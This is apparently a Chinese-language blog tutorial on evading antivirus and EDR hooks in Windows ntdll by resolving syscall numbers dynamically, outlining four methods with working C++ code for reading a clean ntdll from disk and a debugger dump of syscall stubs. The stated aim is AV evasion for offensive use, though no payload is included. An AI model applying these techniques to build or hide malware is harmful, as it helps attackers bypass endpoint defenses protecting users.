目录

利用Syscall免杀 v2.0

winx64中动态获取syscall调用号,绕过AV/EDR对ntdll的hook

背景

  1. 上个文章讲述了使用c#进行直接系统调用,没有详细说明获取系统调用号的过程。
  2. 通常情况下,AV/EDR会对ntdll里面的敏感函数进行Hook,用来监控软件的行为,这次介绍一些绕过手法,获取到正确的syscall调用号。

被Hook的NtCreateProcess

干净的Ntdll

ntdll未被hook的情况下

/images/unhookNtCreateprocess.png
干净的Ntdll
其中mov eax,B4可以看到调用号是B4\

ntdll被hook的情况下

/images/hookNtCreateprocess.png
NtCreateprocess被hook
被hook时无法正确获取到调用号

方法一:从磁盘中读取并解析调用号

优点

无视AV/EDR对内存中ntdll的hook,从磁盘获取干净的ntdll

缺点

会调用敏感函数CreateFileHeapAllocReadFile读取磁盘中的ntdll,容易被察觉

关键函数

  1. 打开文件,使用函数CreateFileA
1
2
3
4
5
6
7
8
9
HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
  1. 分配内存 HeapAlloc
1
2
3
4
5
LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
);

3.读取文件 ReadFile

1
2
3
4
5
6
7
BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

然后解析ntdll的导出表

/images/exportntdll.png
导出表
即可正常获取syscall调用号\

参考代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <iostream>
#include "Windows.h"
#include "winternl.h"
#pragma comment(lib, "ntdll")

int const SYSCALL_STUB_SIZE = 23;
using myNtCreateFile = NTSTATUS(NTAPI*)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
	return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}

BOOL GetSyscallStub(LPCSTR functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
	PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
	PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
	BOOL stubFound = FALSE; 

	for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
	{
		DWORD_PTR functionNameVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfNames[i], rdataSection);
		DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfFunctions[i + 1], textSection);
		LPCSTR functionNameResolved = (LPCSTR)functionNameVA;
		if (std::strcmp(functionNameResolved, functionName) == 0)
		{
			std::memcpy(syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
			stubFound = TRUE;
		}
	}

	return stubFound;
}

int main(int argc, char* argv[]) {
	char syscallStub[SYSCALL_STUB_SIZE] = {};
	SIZE_T bytesWritten = 0;
	DWORD oldProtection = 0;
	HANDLE file = NULL;
	DWORD fileSize = NULL;
	DWORD bytesRead = NULL;
	LPVOID fileData = NULL;
	
	// variables for NtCreateFile
	OBJECT_ATTRIBUTES oa;
	HANDLE fileHandle = NULL;
	NTSTATUS status = NULL;
	UNICODE_STRING fileName;
	RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\pw.log");
	IO_STATUS_BLOCK osb;
	ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
	InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

	// define NtCreateFile
	myNtCreateFile NtCreateFile = (myNtCreateFile)(LPVOID)syscallStub;
	VirtualProtect(syscallStub, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
	
	file = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	fileSize = GetFileSize(file, NULL);
	fileData = HeapAlloc(GetProcessHeap(), 0, fileSize);
	ReadFile(file, fileData, fileSize, &bytesRead, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileData;
	PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)fileData + dosHeader->e_lfanew);
	DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders);
	PIMAGE_SECTION_HEADER textSection = section;
	PIMAGE_SECTION_HEADER rdataSection = section;
	
	for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++) 
	{
		if (std::strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) { 
			rdataSection = section;
			break;
		}
		section++;
	}

	PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)fileData + exportDirRVA, rdataSection);
	
	GetSyscallStub("NtCreateFile", exportDirectory, fileData, textSection, rdataSection, syscallStub);
	NtCreateFile(&fileHandle, FILE_GENERIC_WRITE, &oa, &osb, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL,	0);

	return 0;
}

代码来自 ired.team

方法二:创建挂起进程,解析挂起进程内的ntdll

优点

不从磁盘读取,避免了方法一中的敏感函数,创建挂起的子进程并读取内存然后关闭子进程,此时EDR不会注入ntdll

缺点

需要创建多余的进程

关键函数

  1. 创建进程 CreateProcess
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
  1. 读取内存 ReadProcessMemory
1
2
3
4
5
6
7
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);

参考代码

方法三:利用win10并行加载获取syscall调用号

优点

不从磁盘读取,不创建进程,利用直接系统调用的函数自身重新加载新的ntdll

缺点

会在当前进程模块中多一份ntdll

/images/doubleNtdll.png
并行加载ntdll的进程模块

关键函数

  1. 直接系统调用的打开文件函数NtOpenFile
1
2
3
4
5
6
7
8
NTSTATUS NtOpenFile(
  [out] PHANDLE            FileHandle,
  [in]  ACCESS_MASK        DesiredAccess,
  [in]  POBJECT_ATTRIBUTES ObjectAttributes,
  [out] PIO_STATUS_BLOCK   IoStatusBlock,
  [in]  ULONG              ShareAccess,
  [in]  ULONG              OpenOptions
);
  1. 直接系统调用的创建section对象函数NtCreateSection
1
2
3
4
5
6
7
8
9
NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
  1. 直接系统调用的未公开函数NtMapViewOfSection
1
myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,	HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);

参考代码

  • 关键:解析出ntdll.data节中的LdrpThunkSignature,从里面解析出上面三个关键函数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
0:005> u LdrpThunkSignature l20
ntdll!LdrpThunkSignature:
00007ffa`fd59ab40 4c8bd1          mov     r10,rcx
00007ffa`fd59ab43 b833000000      mov     eax,33h       // NtOpenFile
00007ffa`fd59ab48 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`fd59ab50 4c8bd1          mov     r10,rcx
00007ffa`fd59ab53 b84a000000      mov     eax,4Ah       // NtCreateSection
00007ffa`fd59ab58 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`fd59ab60 4c8bd1          mov     r10,rcx
00007ffa`fd59ab63 b83d000000      mov     eax,3Dh       // ZwQueryAttributesFile
00007ffa`fd59ab68 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`fd59ab70 4c8bd1          mov     r10,rcx
00007ffa`fd59ab73 b837000000      mov     eax,37h       // NtOpenSection
00007ffa`fd59ab78 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffa`fd59ab80 4c8bd1          mov     r10,rcx
00007ffa`fd59ab83 b828000000      mov     eax,28h       // NtMapViewOfSection
00007ffa`fd59ab88 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1

方法四:按函数地址顺序获取syscall调用号

优点

解析自身ntdll,不存在任何的敏感操作

缺点

暂未发现

参考代码